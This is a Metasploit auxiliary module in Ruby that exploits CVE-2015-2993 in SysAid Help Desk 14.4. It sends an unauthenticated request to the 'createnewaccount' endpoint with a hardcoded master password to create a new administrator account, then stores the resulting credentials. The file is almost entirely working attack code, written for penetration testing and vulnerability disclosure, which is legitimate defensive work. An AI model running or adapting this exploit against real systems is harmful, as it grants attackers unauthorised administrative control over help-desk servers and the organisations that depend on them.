89 lines
3.1 KiB
Ruby
89 lines
3.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SysAid Help Desk Administrator Account Creation',
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'Description' => %q{
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This module exploits a vulnerability in SysAid Help Desk that allows an
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unauthenticated user to create an administrator account. Note that this
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exploit will only work once! Any subsequent attempts will fail.
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This module has been tested on SysAid 14.4 in Windows and Linux.
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},
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'Author' =>
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[
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'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2015-2993' ],
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[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
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[ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
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],
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'DisclosureDate' => 'Jun 3 2015'))
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register_options(
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[
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OptPort.new('RPORT', [true, 'The target port', 8080]),
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OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']),
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OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
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OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password'])
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], self.class)
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end
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def run
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['TARGETURI'], 'createnewaccount'),
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'method' =>'GET',
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'vars_get' => {
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'accountID' => Rex::Text.rand_text_numeric(4),
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'organizationName' => Rex::Text.rand_text_alpha(rand(4) + rand(8)),
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'userName' => datastore['USERNAME'],
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'password' => datastore['PASSWORD'],
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'masterPassword' => 'master123'
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}
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})
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if res && res.code == 200 && res.body.to_s =~ /Error while creating account/
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# No way to know whether this worked or not, it always says error
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print_good("#{peer} - Created administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
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service_data = {
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address: rhost,
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port: rport,
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service_name: (ssl ? 'https' : 'http'),
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: self.fullname,
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private_type: :password,
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private_data: datastore['PASSWORD'],
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username: datastore['USERNAME']
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}
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credential_data.merge!(service_data)
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credential_core = create_credential(credential_data)
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login_data = {
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core: credential_core,
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access_level: 'Administrator',
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status: Metasploit::Model::Login::Status::UNTRIED
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}
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login_data.merge!(service_data)
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create_credential_login(login_data)
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else
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print_error("#{peer} - Administrator account creation failed")
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end
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end
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end
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